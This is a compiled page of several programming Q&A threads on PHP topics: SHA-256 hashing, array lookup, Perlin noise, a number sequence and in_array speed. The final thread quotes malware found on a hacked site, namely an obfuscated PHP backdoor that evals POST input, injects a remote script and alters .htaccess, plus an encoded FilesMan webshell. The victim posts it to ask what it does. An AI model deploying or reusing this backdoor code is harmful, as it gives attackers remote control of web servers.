Convert python code with sha to php - php

got a problem with converting python to php. I've got the following code in python:
user = "DdrkmK5uFKmaaeNqfqReMADSUJ4sVSLrV2A8Bvs8"
passing = "K9hvwANSBW5tLYzuWptWMByTtzZZKHzm"
sha = hashlib.sha256()
sha.update(user)
sha.update(passing)
sha_A = [ord(x) for x in sha.digest()]
sha_A is the following array:
[231, 13, 239, 136, 20, 198, 76, 121, 67, 163, 251, 153, 114, 13, 65, 203, 41, 37, 64, 168, 43, 69, 81, 103, 235, 161, 15, 58, 82, 57, 217, 178]
I already converted it to php:
$user = "DdrkmK5uFKmaaeNqfqReMADSUJ4sVSLrV2A8Bvs8";
$passing = "K9hvwANSBW5tLYzuWptWMByTtzZZKHzm"
$sha = hash_init("sha256");
$sha = hash_update($sha, $user);
$sha = hash_update($sha, $passing);
$sha_A = [];
$i = 0;
$digest = openssl_digest($sha, "sha256");
$digest = str_split($digest);
foreach ($digest as $x) {
$sha_A[$i] = ord($x);
$i = $i + 1;
}
But the returned array $sha looks like this one:
[101, 51, 98, 48, 99, 52, 52, 50, 57, 56, 102, 99, 49, 99, 49, 52, 57, 97, 102, 98, 102, 52, 99, 56, 57, 57, 54, 102, 98, 57, 50, 52]
Maybe some of you will find my mistake?

I saw few errors in your PHP code.
This is a python snippet:
>>> sha = hashlib.sha256()
>>> sha.update(user)
>>> sha.update(passing)
>>> sha_A = [ord(x) for x in sha.digest()]
[135, 146, 107, 215, 70, 126, 179, 21, 19, 177, 191, 236, 182, 136, 192, 53, 148, 42, 160, 24, 63, 224, 170, 211, 32, 131, 59, 146, 60, 162, 77, 2]
And the PHP version, corrected:
$ctx = hash_init('sha256');
hash_update($ctx, $user);
hash_update($ctx, $passing);
$digest = hash_final($ctx, true);
$sha_A = [];
foreach (str_split($digest) as $x) {
$sha_A[] = ord($x);
}
[135, 146, 107, 215, 70, 126, 179, 21, 19, 177, 191, 236, 182, 136, 192, 53, 148, 42, 160, 24, 63, 224, 170, 211, 32, 131, 59, 146, 60, 162, 77, 2]
In your PHP version, $sha = hash_update($sha, $user); was bad because hash_update returns a boolean. The first argument is called the context and is the result of hash_init, the second one is the data to hash. Finally, you call hash_final with the last parameter (raw_output) to true to get binary data.
Last error, using openssl_digest on the SHA result's was computing the digest of the SHA digest's. Funny, isn't it? :).

Related

Select a value from an array based on another array in php

I have two arrays, percentiles and percentile_bounds and another int value total_score. Given the total score, I want to return the percentile in which this value is. Ie. I want to return a value from percentiles which corresponds to placing the total_score within the percentile_bounds. In python, I would do:
import numpy as np
percentiles = np.array([ 0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95])
percentile_bounds = np.array([ 84, 104, 109, 115, 120, 123, 125, 127, 129, 132, 135, 136, 137, 139, 141, 145, 148, 151, 155, 159])
# example 1
total_score = 130
print(percentiles[np.where(percentile_bounds==(percentile_bounds[percentile_bounds<total_score][-1]))])
# 40
# example 2
total_score = 153
print(percentiles[np.where(percentile_bounds==(percentile_bounds[percentile_bounds<total_score][-1]))])
# 85
# example 3
total_score = 100
print(percentiles[np.where(percentile_bounds==(percentile_bounds[percentile_bounds<total_score][-1]))])
# 0
and I found a way in PHP (function sources: 1, 2) but it is very clumsy and long:
<?php
// Example 4
$total_score = 120;
$percentile_bounds = [84, 104, 109, 115, 120, 123, 125, 127, 129, 132, 135, 136, 137,139, 141, 145, 148, 151, 155, 159];
$percentiles = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95];
// get the last element from percentile_bounds which is less than total_score
$value = end(array_filter($percentile_bounds, function ($x) use ($total_score) { return $x < $total_score; }));
// find its index
$key = array_search($value, $percentile_bounds);
// find the corresponding value in percentiles
echo "percentile: $percentiles[$key]";
// 15
Is there a better way of selecting the element from one array (percentiles) based on a position of an element (total_score) in the other array (percentile_bounds)?
Thanks
Note: it is not a duplicate of this.
Clarification: For total_score<=84 the result should be 0 (based on how percentiles work) but it also should not happen. In the code above I do not deal with this condition so it's ok not to but if the solution does, the better :). Thanks #jspit for pointing it out!
You can do it with this line where array_keys gives us an array of keys of our filtered array. end and max do the same job in this case because we have a sorted array and want to return its last index. So finally $percentiles[$lastIndexKeyOfOurFilteredArray] is what we print out:
echo $percentiles[max(array_keys(array_filter($percentile_bounds,function ($x) use ($total_score){return $x<$total_score; })))]
foreach would be more readable and performant approach compared to array_filter
$total_score = 153;
$percentile_bounds = [84, 104, 109, 115, 120, 123, 125, 127, 129, 132, 135, 136, 137, 139, 141, 145, 148, 151, 155, 159];
$percentiles = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95];
foreach ($percentile_bounds as $key => $bound) {
if ($bound >= $total_score) {
echo 'percentile: ' . $percentiles[max(0, $key - 1)];
break;
}
}

Perlin noise implemented in php, undefined offset in permutation table, but index is defined

So, I decided to write a perlin noise implementation in php. Don't ask me why, I've forgotten. Following this: https://flafla2.github.io/2014/08/09/perlinnoise.html , I have gotten to the point where I should be getting some results. Octaves haven't been worked in yet, but the vectors should be doing their thing.
Offending code at the bottom of the post.
I had a few mistakes when implementing it as a class (seriously, whose idea was it to make it compulsory to preface every in-class variable with a $this->? It almost gave me a literal headache fixing all the mistakes I'd made), but I think I have caught them all. I did have some trouble doubling my permutation matrix, but that is done as well. I know this because I have printed it. However, when I try to get the hash thing, I get a page-full of PHP Notice: Undefined offset: 1 in perlin.php (0 as well as 1).
This leads to a bunch of variables that should be integers being null. I have tol my functions what to expect, so I get PHP Fatal error: Uncaught TypeError: Argument 1 passed to perlin::grad() must be of the type int, null given, called in perlin.php on line 56 and defined in perlin.php:73
The thing that confuses me the most is that the array that is complaining is defined all the way from 0 to 511 (inclusive).
Am I missing some vital information, like the difference between an index and an offset?
Code:
<?php
class perlin{
public function __construct(){
$p=array_merge($this->permutation,$this->permutation);
print_r($p);
}
private $permutation=array(111, 176, 195, 194, 99, 88, 206, 7, 84, 2, 246, 181, 221, 69, 249, 3, 47, 223, 154, 26, 65, 142, 178, 100, 128, 134, 254, 94, 78, 204, 59, 98, 48, 171, 80, 125, 190, 86, 225, 138, 57, 144, 16, 143, 169, 162, 139, 252, 147, 182, 67, 179, 220, 160, 81, 96, 132, 82, 148, 72, 64, 242, 255, 137, 74, 185, 212, 19, 218, 256, 101, 130, 39, 234, 41, 115, 228, 230, 214, 45, 107, 251, 117, 91, 68, 49, 37, 208, 207, 192, 168, 232, 133, 23, 54, 106, 153, 247, 87, 200, 34, 187, 25, 124, 17, 114, 245, 248, 157, 77, 9, 219, 120, 236, 183, 79, 50, 42, 250, 189, 102, 227, 243, 83, 159, 62, 156, 151, 75, 13, 177, 158, 253, 196, 166, 103, 118, 32, 229, 235, 170, 15, 108, 58, 21, 73, 31, 70, 89, 203, 46, 205, 110, 150, 113, 43, 199, 29, 193, 40, 1, 60, 152, 6, 104, 129, 175, 36, 8, 222, 135, 85, 198, 123, 149, 238, 231, 164, 63, 76, 38, 20, 184, 188, 4, 12, 119, 14, 240, 105, 30, 210, 27, 241, 224, 239, 10, 66, 116, 167, 56, 140, 95, 126, 217, 92, 51, 55, 213, 155, 201, 161, 244, 197, 180, 71, 44, 215, 172, 18, 165, 35, 131, 186, 202, 22, 24, 121, 226, 33, 93, 163, 211, 191, 61, 53, 28, 136, 216, 122, 237, 173, 112, 209, 97, 145, 233, 146, 174, 141, 5, 52, 11, 109, 127, 90);
//generated by seq 1 256|shuf|sed 's/$/,/g'|tr '\n' ' '
public $repeat=0;
private $p=array();
private function inc($num){
$num++;
if($this->repeat>0){
$num%=$this->repeat;
}
return $num;
}
private function fade(float $t){
return $t*$t*$t*($t*($t*6+15)+10);
}
public function perlin(float $x,float $y,float $z){
if($this->repeat>0){
$x=$x%$this->repeat;
$y=$y%$this->repeat;
$z=$z%$this->repeat;
}
$xi=(int)($x) & 255;
$yi=(int)($y) & 255;
$zi=(int)($z) & 255;
$xf=$x-(int)($x);
$yf=$y-(int)($y);
$zf=$z-(int)($z);
echo "$xi $yi $zi $xf $yf $zf<br>\n\n";
$u=$this->fade($xf);
$v=$this->fade($yf);
$w=$this->fade($zf);
$aaa=$this->p[$this->p[$this->p[ $xi ]+ $yi ]+ $zi ];
$aba=$this->p[$this->p[$this->p[ $xi ]+$this->inc($yi)]+ $zi ];
$aab=$this->p[$this->p[$this->p[ $xi ]+ $yi ]+$this->inc($zi)];
$abb=$this->p[$this->p[$this->p[ $xi ]+$this->inc($yi)]+$this->inc($zi)];
$baa=$this->p[$this->p[$this->p[$this->inc($xi)]+ $yi ]+ $zi ];
$bba=$this->p[$this->p[$this->p[$this->inc($xi)]+$this->inc($yi)]+ $zi ];
$bab=$this->p[$this->p[$this->p[$this->inc($xi)]+ $yi ]+$this->inc($zi)];
$bbb=$this->p[$this->p[$this->p[$this->inc($xi)]+$this->inc($yi)]+$this->inc($zi)];
$x1=$this->lerp($this->grad($aaa,$xf,$yf,$zf),
$this->grad($baa,$xf-1,$yf,$zf),$u);
$x2=$this->lerp($this->grad($aba,$xf,$yf-1,$zf),
$this->grad($bba,$xf-1,$yf-1,$zf),$u);
$y1=$this->lerp($x1,$x2,v);
$x1=$this->lerp($this->grad($aab,$xf,$yf,$zf-1),
$this->grad($bab,$xf-1,$yf,$zf-1),$u);
$x2=$this->lerp($this->grad($abb,$xf,$yf-1,$zf-1),
$this->grad($bbb,$xf-1,$yf-1,$zf-1),$u);
$y2=$this->lerp($x1,$x2,v);
return ($this->lerp($y1,$y2,w)+1)/2;
}
private function grad(int $hash,float $x,float $y,float $z){
switch($hash & 0xF){
case 0x0: return $x+$y;
case 0x1: return -$x + $y;
case 0x2: return $x - $y;
case 0x3: return -$x - $y;
case 0x4: return $x + $z;
case 0x5: return -$x + $z;
case 0x6: return $x - $z;
case 0x7: return -$x - $z;
case 0x8: return $y + $z;
case 0x9: return -$y + $z;
case 0xA: return $y - $z;
case 0xB: return -$y - $z;
case 0xC: return $y + $x;
case 0xD: return -$y + $z;
case 0xE: return $y - $x;
case 0xF: return -$y - $z;
default: return 0;
}
}
private function lerp(float $a,float $b,float $x){
return $a+$x*($b-$a);
}
}
?>

How to calculate random numerical sequency number?

I'm trying to build the following numerical series 1, 1, 2, 3, 4, 5, 5, 6 until 100 ( It is a homework) . I have to do this using php code but I cannot get it , I've read the fibonacci method but the numerical series numbers are different.
<?php
$a=1;
$serie="1";
for ($i=1;$i<=100;$i++)
{
if($i%5==0)
{
$serie=$serie.",$i,$i";
}
else
{
$serie=$serie.",$i";
}
}
print $serie;
?>
As #tim pointed out in the comment, the solution is not printing a sequence from 1 to 100 where only numbers that are MOD 5 = 0 are duplicated. That way you do not get the repetition on 1.
From your homework question (which is not really clear in my opinion) I presume you want something like this:
<?php
for ($i = 0; $i < 100; $i++) {
echo $i+1 . ", ";
if ($i % 4 == 0) {
echo $i+1 . ", ";
}
}
?>
It prints:
1, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 13, 14, 15, 16, 17, 17, 18, 19, 20, 21, 21, 22, 23, 24, 25, 25, 26, 27, 28, 29, 29, 30, 31, 32, 33, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 41, 42, 43, 44, 45, 45, 46, 47, 48, 49, 49, 50, 51, 52, 53, 53, 54, 55, 56, 57, 57, 58, 59, 60, 61, 61, 62, 63, 64, 65, 65, 66, 67, 68, 69, 69, 70, 71, 72, 73, 73, 74, 75, 76, 77, 77, 78, 79, 80, 81, 81, 82, 83, 84, 85, 85, 86, 87, 88, 89, 89, 90, 91, 92, 93, 93, 94, 95, 96, 97, 97, 98, 99, 100,
The logic is to print the index increased by 1 each iteration, and print it again if the result of the modulus operation index % 4 is equal to 0.

Why is in_array is faster than isset inside foreach?

Regarding to this thread what is faster: in_array or isset? They agreed that isset is faster than in_array.
But I ran to the issue where my page loads too slow and I var_dump-ed my vars to test it explicitly.
This is my extracted array.
$items = array(66, 68, 9, 68, 66, 57, 57, 66, 66, 66, 66, 68, 66, 48, 49, 14, 55, 57, 49, 105, 57, 57, 48, 105, 57, 66, 67, 57, 97, 67, 67, 50, 68, 57, 50, 51, 69, 71, 57, 57, 67, 69, 50, 50, 68, 67, 68, 68, 45, 97, 57, 56, 69, 69, 50, 67, 14, 68, 52, 53, 56, 62, 96, 96, 54, 62, 62, 68, 71, 69, 98, 83, 57, 98, 56, 84, 54, 6, 63, 64, 64, 62, 63, 54, 63, 54, 84, 1, 64, 64, 84, 54, 84, 84, 14, 3, 90, 65, 15, 15, 15, 63, 15, 93, 90, 90, 96, 93, 34, 94, 34, 74, 13, 40, 74, 40, 93, 93, 93, 93, 95, 94, 36, 35, 41, 94, 94, 35, 36, 41, 42, 44, 42, 93, 93, 96, 93, 36, 569, 43, 44, 65, 35, 13, 17, 33, 7, 7, 7, 7, 8, 73, 10, 12, 1, 1, 12, 1, 12, 38, 32, 39, 79, 80, 16, 82, 72, 82, 81, 72, 82, 18, 81, 28, 27, 27, 5, 26, 27, 25, 18, 26, 20, 26, 27, 28, 31, 20, 24, 28, 27, 20, 30, 29, 23, 22, 22, 29, 22, 30, 23, 23, 48, 49, 22, 29, 20, 30, 23, 18, 25, 31, 24, 28, 27, 26, 50, 57, 15, 62, 66, 63, 67, 64, 68, 65, 69, 34, 36, 35, 13, 14, 1, 3, 103, 74, 72, 81, 82, 90, 93, 94, 95, 96, 97, 98, 20, 25, 34, 36, 35, 8, 81, 73, 99, 100, 101, 102, 103, 104, 568, 568);
$productIds = array();
And the result I got is exactly the opposite, which:
$start = microtime(true);
foreach ($items as $item)
{
//if (!in_array($item, $productIds)) // 0.00030207633972168 seconds
if(!isset($productIds[$item])) // 5.2928924560547E-5 seconds
{
$productIds[] = $item;
}
}
$end = microtime(true);
echo ($end - $start).' seconds';
Then of course I am gonna stick with in_array in this case. But I am just curious what's going on here.. any idea?
Edit (actual code)
public function validateCreation ()
{
if ($this->getRequestParameter('ccItems'))
{
$arrProductIds = array();
foreach ($this->getRequestParameter('ccItems') as $ccItem)
{
//if ((!is_null($ccItem["product_id"])) && !isset($arrProductIds[$ccItem["product_id"]])) // 12.758,9kb-1.194ms and 12.758,9kb-1.202ms
if ((!is_null($ccItem["product_id"])) && !in_array($ccItem["product_id"], $arrProductIds)) // 11.599,5kb-972ms and 11.599.5kb-959ms
{
$arrProductIds[] = $ccItem["product_id"];
}
}
$result = "";
if (count($arrProductIds) > 0)
{
$isRequestValidated = MyClass::StaticFunction($arrProductIds, $result);
if ($isRequestValidated === false)
{
$this->getRequest()->setError('overall_error', $result);
}
}
}
return !($this->getRequest()->hasErrors());
}
You're wrong.
in_array takes 0.00030207633972168 seconds
isset takes 5.2928924560547E-5 seconds. Note the E-5 at the end, which by convention means 5.2928924560547×10-5 = 0.000052928924560547, which is faster.

What does this code do? .htaccess keeps getting changed

$vf = substr(1, 1);
foreach(array(10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 115, 116, 121, 108, 101, 46, 100, 105, 115, 112, 108, 97, 121, 61, 39, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 39, 39, 59, 10, 10, 13, 9, 92, 39, 0, 112, 49, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 102, 97, 99, 101, 116, 111, 102, 97, 99, 101, 46, 100, 101, 47, 101, 120, 116, 47, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 116, 114, 117, 101, 99, 115, 115) as $vj[0]) {
$vf. = chr($vj[0]);
}
$vj[0] = substr($vf, 0, 1);
$vj[1] = substr($vf, 1, 102);
$vj[2] = substr($vf, 103, 3);
$vj[3] = substr($vf, 106, 6);
$vj[4] = substr($vf, 112, 2);
$vj[5] = substr($vf, 114, -7);
$vj[6] = substr($vf, -7);
if (isset($_GET[$vj[6]])) {
$vj[7] = 0;
if (isset($_POST[chr(97)])) {
$vj[7] = $_POST[chr(97)];
}
$vj[8] = chr(97).chr(106).chr(97).chr(120);
$vj[9] = 0;
if (isset($_POST[$vj[8]])) {
$vj[9] = $_POST[$vj[8]];
}
if ($vj[7] == substr($vj[1], 79, 3) && strlen($vj[9]) == 4) {#ob_start();#eval($_POST[$vj[4]]);
$vj[6] = $vj[1].addcslashes(htmlspecialchars(#ob_get_clean()), $vj[3]).$vj[2];
echo strlen($vj[6]).$vj[0].$vj[6];
} else {
$vj[0] = chr(116).chr(120);
if (!isset($_POST[$vj[0]])) {
echo $vj[5];
} else {#eval(urldecode($_POST[$vj[0]]));
}
}
exit;
}
unset($vf);
unset($vj);
if (isset($_GET["wt67183456vvvg3"])) {#unlink('/home/myroot/weburl.org/.htaccess');#unlink('/home/myroot/weburl.org/.htaccesswt1');#rename('/home/myroot/weburl/.htaccesswt2', '/home/myroot/weburl.org/.htaccess');
$l = "http://google.com/";
if (isset($_GET["l"])) {
$l = $_GET["l"];
}#header("Location: $l");
exit;
}
My site has been compromised and this is one of the files I have found. Still trying to understand how its working
Another one found looks like this:
$auth_pass="";
$color="#df5";
$default_action="FilesMan";
$default_use_ajax=true;
$default_charset="Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKpwB 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